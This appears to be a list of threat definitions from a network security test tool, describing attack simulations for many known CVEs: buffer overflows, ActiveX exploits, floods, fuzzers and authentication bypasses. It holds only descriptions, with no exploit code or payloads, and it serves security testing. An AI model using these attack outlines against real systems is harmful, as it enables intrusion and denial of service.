Detailed Description:	There is a denial of service vulnerability within multiple Symantec client security products. An attacker can craft a DNS packet that can cause the Symantec security products to enter an infinite loop, allowing an attacker to disable all access to the host running the vulnerable product. (IPv6 Version)
Protocol Type:	DNS/IPv6
CVEID:	CVE-2004-0445
Threat Package:	Standard
Threat File Name:	zenturi_scan_method_bof.xml
Executive Description:	Zenturi ProgramChecker SASATL.DLL ActiveX Control Scan Method Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Zenturi ProgramChecker ActiveX application, resulting in the execution of arbitrary code. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	flexwatch_xss.xml
Executive Description:	FlexWATCH Network Camera Cross-Site Scripting Vulnerability
Detailed Description:	This threat recreates a cross site scripting condition in FlexWATCH Network Camera. This can allow an attacker to steal session and cookie information.FlexWATCH Network Camera is a web application, and will typically listen on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_WRO_NETASCII_formatn.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_WRO_NETASCII_formatn.xml
Detailed Description:	Fuzzes Mode field by appending %n to netascii with ranging sizes. OpCode is WRO.
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	msoffice_activex_bof.xml
Executive Description:	Microsoft Office MSODataSourceControl ActiveX Control Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the MSODataSourceControl ActiveX Control application, resulting in the execution arbitrary code. This threat is delived via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3282
Threat Package:	Standard
Threat File Name:	FSC20110111-04_Microsoft_Windows_Data_Access_Components_ADO_Record_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Data Access Components ADO Record Code Execution (IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in Microsoft Data Access Components (MDAC). The vulnerability is due to the way that Microsoft Data Access Components allocates memory when handling the ActiveX Data Objects (ADO) Record data structures.Remote attackers could exploit this by enticing target users to visit a maliciously crafted web page. Successful exploitation would result in arbitrary code execution with the privileges of the logged in user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP
CVEID:	CVE-2011-0027
Threat File Name:	FSC20060711-16_Microsoft_Excel_Malformed_OBJECT_Record_Code_Execution_IPv6.xml
Executive Description:	Microsoft Excel Malformed OBJECT Record Code Execution (IPv6 Version)
Detailed Description:	There exists an arbitrary index pointer code execution vulnerability in Microsoft Excel. The flaw is caused by an insufficient check of a malformed OBJECT Record in an Excel file. An attacker can exploit this vulnerability to inject and execute arbitrary code in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1306
Threat Package:	Standard
Threat File Name:	FSC20100810-04_Microsoft_DirectShow_MPEG_Layer-3_Audio_Decoder_Memory_Corruption.xml
Executive Description:	Microsoft DirectShow MPEG Layer-3 Audio Decoder Memory Corruption
Detailed Description:	A code execution vulnerability has been reported in Microsoft DirectShow MPEG Layer-3 Audio Decoder. The vulnerability is due to memory corruption while decoding specially crafted files. An attacker can exploit this vulnerability by enticing a user to process a malicious audio file. This can lead to memory corruption and the possibility of code execution in the context of the logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-1882
Threat Package:	Standard
Threat File Name:	FSC20080212-16_Microsoft_Internet_Explorer_Image_Processing_Argument_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Image Processing Argument Handling Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer image handling module handles certain arguments. Remote attackers can exploit this vulnerability by persuading target users to visit a specially crafted web page. Successful exploitation may allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-0078
Threat Package:	Standard
Threat File Name:	fuzz-HTTP_AppendformatnToDELETE.xml
Executive Description:	Fuzz HTTP DELETE appended by %n
Detailed Description:	Fuzzes the Method field by appending %n

Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	acrowaveAuthen.xml
Executive Description:	Acrowave Authentication Bypass
Detailed Description:	This threat sends the Ctrl-C command through telnet which allows a user to bypass username and password restrictions to the management interface of the Acrowave WLAN router. This can allow an attacker to alter system settings and control net access for its users.
Protocol Type:	Telnet
CVEID:	CVE-2005-1566
OSVDB:	16445
Threat Package:	Standard
Threat File Name:	oracle_web_plsql_3.xml
Executive Description:	Oracle PLSQL Bypass Attack Three
Detailed Description:	This threat bypasses the Oracle PLSQL gateway by prepending <<LABEL>> before the vulnerable URL. This allows a user to access any system tables in the database server. Oracle PLSQL is a web application, that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20120131-04_Oracle_Outside_In_JPEG_2000_COD_and_COC_Parameter_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Outside In JPEG 2000 COD and COC Parameter Heap Buffer Overflow(IPv6 Version)
Detailed Description:	A heap buffer overflow vulnerability exists in Oracle Outside In, a set of libraries used to decode many file formats. The vulnerability is exposed when the product is used to handle JPEG 2000 files. Oracle Outside In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed JPEG 2000 file. Depending on the application, user interaction may be required. Successful exploitation can result in arbitrary code execution in the context of the affected application.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB
CVEID:	CVE-2011-4516
Threat File Name:	FSC20060126-10_Oracle_Database_Server_XDB_DBMS_XMLSCHEMA_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle Database Server XDB.DBMS_XMLSCHEMA Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the Oracle Database Server product. The vulnerability exists due to insufficient validation of the arguments supplied to DBMS_XMLSCHEMA packages. A remote attacker with valid user credentials may use this vulnerability to execute arbitrary code with privileges of the database server process. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2006-0272
Threat Package:	Standard
Threat File Name:	TSL20130506-11_ClamAV_UPX_File_PE_parsing_Memory_Access_Error.xml
Executive Description:	ClamAV UPX File PE parsing Memory Access Error
Detailed Description:	A memory access error vulnerability exists in ClamAV antivirus software. The vulnerability is due to an errors in "pe.c" while parsing UPX-packed executable files. Remote attackers could exploit the vulnerability to cause a denial of service condition.
Protocol Type:	HTTP,SMTP,IMAP,POP3
CVEID:	CVE-2013-2020
OSVDB:	92834
Threat File Name:	darwin_streaming_dos_IPv6.xml
Executive Description:	Darwin Streaming Server Denial of Service (IPv6 Version)
Detailed Description:	This threat sends an HTTP request with a Microsoft device name in it. This causes the server to crash. This request is made via HTTP to port 1220 on the Win32 version of the streaming server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2195
OSVDB:	17850
Threat Package:	Standard
Threat File Name:	FSC20080408-10_Microsoft_Windows_ActiveX_Control_hxvz_dll_Memory_Corruption.xml
Executive Description:	Microsoft Windows ActiveX Control hxvz.dll Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Windows ActiveX Control hxvz.dll. The flaw is due to improper usage of the ActiveX Control in Internet Explorer. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted webpage, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2008-1086
Threat Package:	Standard
Threat File Name:	FSC20101109-06_Microsoft_Office_Drawing_Exception_Handling_Remote_Code_Execution.xml
Executive Description:	Microsoft Office Drawing Exception Handling Remote Code
Detailed Description:	A code execution vulnerability exists in Microsoft Office. The vulnerability is due to an error in processing exceptions in drawing objects in Office files.A remote attacker can exploit this vulnerability by corrupting the memory in such a way that arbitrary code can be executed in the context of the logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-3335
Threat File Name:	TSL20140522-12_SAP_Sybase_Event_Stream_Processor_esp_parse_Connection_Unsafe_Pointer_Dereference_IPv6.xml
Executive Description:	SAP Sybase Event Stream Processor esp_parse Connection Unsafe Pointer Dereference IPv6 version

Detailed Description:	Two unsafe pointer dereference vulnerabilities have been reported in SAP Sybase Event Stream Processor (ESP). These vulnerabilities are caused by the listening service accepting unsanitized pointers in XMLRPC requests. By sending crafted requests to a vulnerable server, an remote attacker can cause the service to terminate resulting in a denial of service condition. Tester should turn variable \$destPort into 1024-65535 before test.
Protocol Type:	HTTP.IPv6
CVEID:	CVE-2014-3458
OSVDB:	107262
Threat File Name:	zenturi_remote_overwrite.xml
Executive Description:	Zenturi ProgramChecker SASATL.DLL ActiveX File Download/Overwrite Vulnerability
Detailed Description:	This threat demonstrates a flaw in the Zenturi ProgramChecker ActiveX application, that results in the overwriting of arbitrary files. This threat is delivered via a malicious web page, accessible via port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20070109-16_Microsoft_Excel_Column_Record_Handling_Code_Execution.xml
Executive Description:	Microsoft Excel Column Record Handling Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Excel. The flaw is caused by insufficient checks while parsing the Column field in several record types in Excel files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2007-0030
Threat Package:	Standard
Threat File Name:	FSC20080828-03_Red_Hat_Directory_Server_Accept-Language_HTTP_Header_Parsing_Buffer.xml
Executive Description:	Red Hat Directory Server Accept-Language HTTP Header Parsing Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Red Hat Directory Server. The flaw is due to improper data validation in the Administrator Web Interface component. A remote attacker can trigger this vulnerability by sending crafted HTTP request to the affected service, potentially inject and execute arbitrary code with root level privileges.
Protocol Type:	TCP
CVEID:	CVE-2008-2928
Threat Package:	Standard
Threat File Name:	FSC20080409-02_HP_OpenView_Network_Node_Manager_ovw_dll_Message_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	HP OpenView Network Node Manager ovw.dll Message Handling Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager multiple Services. The flaw is due to a boundary error when processing user requests. A remote unauthenticated attacker can send a crafted request to the target host to exploit this vulnerability. Successful attack could allow for arbitrary code being injected and executed with the privileges of the affected service, which is normally System on Windows platforms. (IPv6 Version)
Protocol Type:	CBT/IPv6
Threat Package:	Standard
Threat File Name:	FSC20060327-11_Symantec_VERITAS_NetBackup_vnetd_Buffer_Overflow_IPv6.xml
Executive Description:	Symantec VERITAS NetBackup vnetd Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the Symantec VERITAS NetBackup product line. The vulnerability is a result of the lack of boundary checks during the processing of certain messages to the vnetd service. An attacker may leverage this vulnerability to inject and execute arbitrary code on the target host with system level privileges. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2006-0991
Threat Package:	Standard
Threat File Name:	gxine_bof_IPv6.xml
Executive Description:	Gxine HTTP Plugin Remote Buffer Overflow (IPv6 Version)
Detailed Description:	This threat proves a buffer overflow condition that exists in the HTTP-Plugin for Gxine. A malicious HTTP server can send a very large buffer to the gxine client and exploiting the HTTP-Plugin that handles the connection. Gxine is a multimedia application. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2802
Threat Package:	Standard
Threat File Name:	msie_ms07-009.xml
Executive Description:	Microsoft Internet Explorer ADODB.Recordset Double Free Memory Exploit (ms07-009)
Detailed Description:	This threat uses malicious javascript to leverage a flaw in the NextRecordset() (msado15.dll) function. Internet Explorer is a web browser that connects to web servers typically listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5559
Threat Package:	Standard
Threat File Name:	iesaveBypass.xml
Executive Description:	Save As Dialog Bypass Attempt
Detailed Description:	This threat attempts to bypass IE's safety measure of first prompting the user if they would like to save the file specified. This is done by specifying a web page that does not exist and sending a binary payload as the 404 page. This threat represents the first exchange, presenting a webpage with an embedded IFRAME tag whose src attribute is set to a 404 page. If the user then passes the mouse of the href link provided the save dialog will appear. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2004-1331
OSVDB:	11918
Threat Package:	Standard
Threat File Name:	ipv6_first_frag_flood.xml

Executive Description:	IPv6 First Fragment Flood
Detailed Description:	This threat sends multiple IPv6 fragments belonging to the same ID. Each fragment has the more fragments bit set, and represents the first fragment in the sequence. This can be used for firewall evasion and causing a denial of service in IPv6 fragment reassembly algorithms.
Protocol Type:	IPv6
Threat Package:	Standard
Threat File Name:	secureblackbox_activex_overwrite.xml
Executive Description:	PGPBBBox.dll 5.1.0.112 SecureBlackbox arbitrary Data Write Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the SecureBlackbox ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3785
Threat Package:	Standard
Threat File Name:	TSL20170111-15_Adobe_Acrobat_ImageConversion_JPEG_Out-of-Bounds_Read.xml
Executive Description:	Adobe Acrobat ImageConversion JPEG Out-of-Bounds Read
Detailed Description:	An out-of-bounds read vulnerability has been found in the ImageConversion component of Adobe Acrobat. The vulnerability is due to improper validation user-supplied data which can result in out-of-bounds access when processing a JPEG image file. A remote attacker could exploit the vulnerability by enticing a target user to open a maliciously crafted file. Successful exploitation could result in disclosure of information which could be used to further compromise the target system.
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP
CVEID:	CVE-2017-2960
Threat File Name:	TSL20111205-06_Cisco_WebEx_Player_ATAS32_DLL_Remote_Code_Execution.xml
Executive Description:	Cisco WebEx Player ATAS32.DLL Remote Code Execution
Detailed Description:	A code execution vulnerability exists in Cisco WebEx Player. The vulnerability exists in ATAS32.DLL and is due to insufficient validation of some values in record Type 0x1F and Type 0xBB while processing WebEx Recording Format (WRF) files. The code uses these values in determining the source, size and the destination pointer of a memcpy(). A remote unauthenticated attacker can leverage this vulnerability by crafting records of Type 0x1F and Type 0xBB in a WRF file and enticing the target users to view the malicious file. Successful exploitation would result in execution of arbitrary code on the target host in the context of the application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-4004
Threat File Name:	FSC20090609-12_Microsoft_Internet_Explorer_7_Event_Handler_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer 7 Event Handler Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The flaw is due to Internet Explorer accesses memory object that has not been correctly initialized or has been deleted. An attacker can persuade the target user to open a malicious web page to exploit this vulnerability. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with privileges of the currently logged on user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-1530
Threat Package:	Standard
Threat File Name:	ie_bookmark.xml
Executive Description:	IE Bookmark Javascript Injection
Detailed Description:	This attack can inject Javascript into the favorites folder in IE, allowing it to run in local zone. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-0500
OSVDB:	14025
Threat Package:	Standard
Threat File Name:	TSL20140611-03_Microsoft_Internet_Explorer_CVE-2014-1795_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-1795 Memory Corruption(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Internet Explorer. The vulnerability is due to improperly accessing an object in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2014-1795
OSVDB:	107871
Threat File Name:	FSC20080212-11_Microsoft_Internet_Information_Services_ASP_Handling_Code_Execution.xml
Executive Description:	Microsoft Internet Information Services ASP Handling Code Execution
Detailed Description:	A buffer overflow vulnerability exists in the Microsoft Internet Information Services product. The flaw is caused by lack of validation in the way Internet Information Services handles HTML encoded ASP Web Pages. A successful exploitation may lead to execution of arbitrary code on the target host with privileges of affected service.
Protocol Type:	HTTP
CVEID:	CVE-2008-0075
Threat Package:	Standard
Threat File Name:	TSL20170209-05_ISC_BIND_DNS64_and_RPZ_Query_Processing_Denial_of_Service_IPv6.xml
Executive Description:	ISC BIND DNS64 and RPZ Query Processing Denial of Service (IPv6 Version)
Detailed Description:	A denial-of-service vulnerability has been reported in ISC BIND. The vulnerability is due to a defect that can cause the named service to exit with an assertion failure or crash due to a NULL pointer dereference while processing a query and running a specific configuration. A remote, unauthenticated attacker could exploit this vulnerability by sending a query to an affected server running the affected configuration. Successful exploitation could lead to a denial-of-service condition.
Protocol Type:	DNS, IPV6
CVEID:	CVE-2017-3135
Threat File Name:	pegasus_thumb_activex_deletion.xml

Executive Description:	Pegasus Imaging ThumbnailXpress 1.0 Remote Arbitrary File Deletion Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in Pegasus Imaging ThumbnailXpress ActiveX application, resulting in the deletion of arbitrary files or code execution. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-5320
Threat Package:	Standard
Threat File Name:	FSC20080104-15_MySQL_yaSSL_SSL_Hello_Message_Buffer_Overflow_IPv6.xml
Executive Description:	MySQL yaSSL SSL Hello Message Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in MySQL. The flaw is due to boundary error when handling crafted client Hello message when using yaSSL for secure connection. A remote unauthenticated attacker may exploit the vulnerability to inject and execute arbitrary code on the target with privileges of MySQL service. (IPv6 Version)
Protocol Type:	MySQLSSL/IPv6
CVEID:	CVE-2008-0226
Threat Package:	Standard
Threat File Name:	hp_mqc_activex_bof.xml
Executive Description:	HP Mercury Quality Center ActiveX Control Buffer Overflow Vulnerability
Detailed Description:	This threat leverages a stack overflow in HP Mercury Quality Center's ActiveX Control. HP Mercury Quality Center is web based interface that can be found listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1819
Threat Package:	Standard
Threat File Name:	TSL20121106-04_Sophos_Anti-Virus_PDF_Handling_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Sophos Anti-Virus PDF Handling Stack Buffer Overflow(IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in Sophos Anti-Virus and Endpoint Protection. The vulnerability is due to the handling of encrypted PDF files. A remote attacker could exploit this vulnerability by causing Sophos Anti-Virus to process a specially crafted PDF file. Successful exploitation could result in arbitrary code execution in the context of the affected service, which is SYSTEM by default.
Protocol Type:	IPV6,HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS,NFS
OSVDB:	87060
Threat File Name:	MS_Help_Workshop_IPv6.xml
Executive Description:	Microsoft Help Workshop Buffer Overflow (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow in the HTML Help Workshop application. This occurs when processing a http file. This attack is represented by a malicious download from a webserver, which typically occurs over port 80. This is a client side attack sent from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0564
OSVDB:	22941
Threat Package:	Standard
Threat File Name:	TSL20140214-08_Microsoft_Internet_Explorer_CVE-2014-0275_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-0275 Use After Free
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0275
OSVDB:	103174
Threat File Name:	flagflood.xml
Executive Description:	Erroneous Flags Flood
Detailed Description:	This threat floods a user specified target with TCP packets from randomized, spoofed addresses, where every TCP flag has been turned on which is an invalid configuration. This attack is an attempt to flood the target with erroneous packets in order to hinder performance and cause a slowed response to legitimate traffic and possibly a DoS.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	FSC20080512-06_OpenOffice_OLE_File_Stream_Buffer_Overflow.xml
Executive Description:	OpenOffice OLE File Stream Buffer Overflow
Detailed Description:	A heap overflow vulnerability exists in the OpenOffice software suite. The vulnerability is due to the way OpenOffice imports OLE files. A remote attacker could exploit this vulnerability by persuading a user to open an OLE file, potentially causing arbitrary code to be injected and executed in the security context of the logged in user. In an attack case where code injection is not successful, all instances of the vulnerable OpenOffice application will terminate and unsaved data might be lost. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user. The affected application would also most likely stop functioning as a result of such an attack.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2008-0320
Threat Package:	Standard
Threat File Name:	ms06-070_IPv6.xml
Executive Description:	Microsoft Windows Wkssvc NetrJoinDomain2 Stack Overflow(MS06-070) Exploit (IPv6 Version)
Detailed Description:	This threat reproduces the ms-06-070 stack based buffer overflow via the SMB protocol. This non-netbios SMB based threat connects on port 445. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2006-4691
Threat Package:	Standard

Threat File Name:	oneSNMP.xml
Executive Description:	SNMP Probe OID: 1
Detailed Description:	This threat sends an SNMP get-next request with a OID of 1. May indicate that someone is trying to glean as much possible information from the system by requesting such a large dataset.
Protocol Type:	SNMP
Threat Package:	Standard
Threat File Name:	FSC20080521-02_IBM_Lotus_Domino_Web_Server_HTTP_Header_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Lotus Domino Web Server HTTP Header Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a stack buffer overflow vulnerability in IBM Lotus Domino Web Server application. The vulnerability is due to improper handling of a header field in HTTP requests. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted HTTP request to the target server, potentially causing arbitrary code injection and execution with the privileges of the affected process, normally System. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-2240
Threat Package:	Standard
Threat File Name:	FTP_Windows_Listing_IPv6.xml
Executive Description:	FTP C:\Windows\ listing (IPv6 Version)
Detailed Description:	This threat attempts to list the C:\Windows directory via FTP. This is a common flaw in many FTP servers that do not check to make sure the directory specified is inside the FTP root. FTP typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2005-2726
OSVDB:	18969
Threat Package:	Standard
Threat File Name:	TSL20150611-01_Apple_CUPS_cupsd_Privilege_Escalation_IPv6.xml
Executive Description:	Apple CUPS cupsd Privilege Escalation IPv6 version.
Detailed Description:	An elevation-of-privilege vulnerability has been reported in the Apple CUPS. The vulnerability is due to improper processing of print-job or create-job requests sent to cupsd. A remote, unauthenticated attacker can send a specially crafted localized strings to cause the 'admin/conf' and 'admin' access control lists to fail. Successful exploitation could lead to elevation of privileges on the affected system, giving the attacker the ability to execute arbitrary code with root privileges. Tester should set the variable \$destPort to 631 before test.
Protocol Type:	IPP.IPv6
CVEID:	CVE-2015-1158
Threat File Name:	TSL20170314-40_Microsoft_Windows_SMB_Server_SMBv1_CVE-2017-0144_Memory_Corruption.xml
Executive Description:	Microsoft Windows SMB Server SMBv1 CVE-2017-0144 Memory Corruption
Detailed Description:	A remote code execution vulnerability has been reported in the SMBv1 component of Microsoft Windows SMB server. The vulnerability is due to improper handling of SMBv1 requests. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted SMBv1 messages to a target server. Successful exploitation could result in remote code execution.
Protocol Type:	SMB/CIFS
CVEID:	CVE-2017-0144
Threat File Name:	TSL20120917-01_Microsoft_Internet_Explorer_execCommand_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer execCommand Use After Free(IPv6_Version)
Detailed Description:	A code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is caused by a Use-After-Free error when processing script code calling the execCommand method. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user. This vulnerability is currently being exploited in the wild.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-4969
OSVDB:	85532
Threat File Name:	FSC20090113-24_Oracle_Secure_Backup_Administration_Server_login_php_Command_Injection_IPv6.xml
Executive Description:	Oracle Secure Backup Administration Server login.php Command Injection (IPv6 Version)
Detailed Description:	There exists a command injection vulnerability in Oracle Secure Backup. The vulnerability is due to lack of sanitation of user supplied parameters when processing HTTP requests sent to CGI program login.php. Remote unauthenticated attackers can exploit this vulnerability by sending a crafted HTTP request to the target host. Successful exploitation would allow for arbitrary command execution in the security context of the user running the web server of Oracle Secure Backup. The behaviour of the target is entirely dependent on the intended function of the injected command. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-5449
Threat Package:	Standard
Threat File Name:	TSL20120123-04_Apache_Struts_2_ParametersInterceptor_OGNL_Command_Execution.xml
Executive Description:	Apache Struts 2 ParametersInterceptor OGNL Command Execution
Detailed Description:	A command execution vulnerability exists in the web application framework Apache Struts2. The vulnerability is due to insufficient input validation in the ParametersInterceptor component when parsing incoming HTTP requests. A remote attacker can leverage this vulnerability by sending a crafted HTTP request to a target system. In an attack scenario, where arbitrary commands are executed on the target machine, the malicious command will be executed within the security context of the target service.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-3923
OSVDB:	78109
Threat File Name:	kodak_img_tiff_rexec_IPv6.xml
Executive Description:	Kodak Image Viewer TIF/TIFF Code Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a web server to deliver a malicious tiff image that once opened with a vulnerable Kodak Image Viewer application will result in arbitrary code execution . This threat uses a web server listening on port 80. (IPv6 Version)

Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2217
Threat Package:	Standard
Threat File Name:	FSC20050809-01_Microsoft_Windows_Plug_and_Play_Service_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Plug and Play Service Buffer Overflow
Detailed Description:	There exists a stack-based buffer overflow vulnerability in the Microsoft Windows Plug and Play service. The vulnerability is the result of a failure to perform proper boundary checking when processing messages. A remote attacker can exploit this vulnerability to cause a denial of service, or inject and execute arbitrary code on the target system with the privileges of the System account.
Protocol Type:	SMB
CVEID:	CVE-2005-1983
Threat Package:	Standard
Threat File Name:	flashgamescript_rfi.xml
Executive Description:	FlashGameScript 1.5.4 (index.php func) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. FlashGameScript is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1078
Threat Package:	Standard
Threat File Name:	ICMPechoReplyFlood.xml
Executive Description:	ICMP Echo Reply Flood
Detailed Description:	This threat emulates the effect of an attack from multiple sources replying to a forged ICMP echo request. Can be performed by issuing ICMP pings to large netblocks and subnets.
Protocol Type:	ICMP
CVEID:	CVE-2001-0754
OSVDB:	5541
Threat Package:	Standard
Threat File Name:	TSL20140919-05_Google_Android_Browser_Same_Origin_Policy_Bypass_IPv6.xml
Executive Description:	Google Android Browser Same Origin Policy Bypass IPv6 version.
Detailed Description:	A policy bypass vulnerability exists in Google Android Browser. The vulnerability is due to a flaw leading to same origin policy bypass. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to open a web page. Successful exploitation can result in disclosure of information about other web pages opened by the user or stored in the browser cache.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-6041
OSVDB:	110664
Threat File Name:	ms05-036_IPv6.xml
Executive Description:	Microsoft Windows Color Management Buffer Overflow (IPv6 Version)
Detailed Description:	This threat attempts to run shellcode by taking advantage of a buffer overflow in the Color Management Module of Microsoft Windows. This is performed by sending a malicious JPEG image file to Internet Explorer from a website. Webservers typically listen on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1219
OSVDB:	17830
Threat Package:	Standard
Threat File Name:	TSL20150224-04_MIT_Kerberos_5_recvauth_Invalid_Memory_Access.xml
Executive Description:	MIT Kerberos 5 recvauth Invalid Memory Access.
Detailed Description:	A denial of service vulnerability exists in MIT Kerberos 5. The vulnerability occurs when recvauth_common() calls krb5_read_message() to receive and process a crafted message causing it to return an invalid string that later causes a NULL pointer dereference or an attempt to read beyond the end of a buffer. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted message to an application, such as klogind, that use the krb5_recvauth() API. Successful exploitation will cause the vulnerable application process to terminate. Tester should set variable \$destPort to 543 before test.
Protocol Type:	klogin/kshell/krb5_prop
CVEID:	CVE-2014-5355
OSVDB:	118567
Threat File Name:	ftpd_ssl_IPv6.xml
Executive Description:	FTP SSL Threat (IPv6 Version)
Detailed Description:	This threat causes a buffer overflow condition in the linux port of OpenBSD's ftp daemon. This leads to remote code execution with the privileges of the ftp server. Ftpd typically listens on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2005-3524
OSVDB:	20530
Threat Package:	Standard
Threat File Name:	FSC20071121-02_BitDefender_Online_Scanner_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	BitDefender Online Scanner ActiveX Control Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerabilities in BitDefender Online Scanner. These vulnerabilities are caused due to boundary errors within the BitDefender Online Scanner OScan.ocx ActiveX Control. A remote attack can exploit this vulnerability by enticing the target user to open a crafted webpage, potentially causing arbitrary code to be injected and executed in the security context of the current user.
Protocol Type:	HTTP
CVEID:	CVE-2007-5775
Threat Package:	Standard
Threat File Name:	okul_web_otomasyon_sqli_IPv6.xml
